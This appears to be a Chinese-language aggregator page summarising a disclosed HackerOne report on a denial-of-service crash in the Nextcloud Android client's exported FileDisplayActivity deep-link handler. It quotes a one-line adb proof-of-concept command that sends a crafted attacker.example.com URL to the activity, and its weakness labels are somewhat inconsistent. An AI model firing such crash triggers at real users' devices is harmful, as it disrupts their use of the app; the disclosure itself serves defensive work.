地图 / Improper input validation On Exported deep-link handler crashes `FileDisplayActivity` on crafted external URL — Denial-of-Service

Improper input validation On Exported deep-link handler crashes `FileDisplayActivity` on crafted external URL — Denial-of-Service

内存破坏 / Improper Null Termination / #3399016

厂商: Nextcloud
严重程度: 低危 · CVSS 0
赏金: —
弱点: Improper Null Termination
研究员: @khoof
披露日期: 2026-05-01
资产: com.nextcloud.client
CVE: —

该报告还没有中文解读。

原文摘录

摘自原文（5219 字符中的一小部分）

**Product / Package** `com.nextcloud.client`

原文中的代码

adb shell am start -a android.intent.action.VIEW \
  -d "https://attacker.example.com/f/abcdef" \
  -n com.nextcloud.client/com.owncloud.android.ui.activity.FileDisplayActivity

默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Nextcloud 所有。

时间线

2025-10-24报告提交
2026-05-01公开披露

阅读 HackerOne 原文 ↗作者 @khoof · 版权归作者与 Nextcloud 所有

同类报告

HackerOne SAML signup domain enforcement bypass results in unauthorized access to HackerOne PullRequest organizationHackerOne · 2024-02-04 Unauthenticated user can upload an attachment to the last updated report draftHackerOne · 2018-10-09 mbedTLS private-key blob null-termination asymmetry in lib/vtls/mbedtls.c (mbed_load_privkey)curl · 2026-05-07 Cache poisoning using NULL bytes and long URLsGreenhouse.io · 2018-09-16 Null byte Injection in https://████/U.S. Dept Of Defense · 2020-05-14 Improper handling of untypical characters in domain namesNode.js · 2021-09-10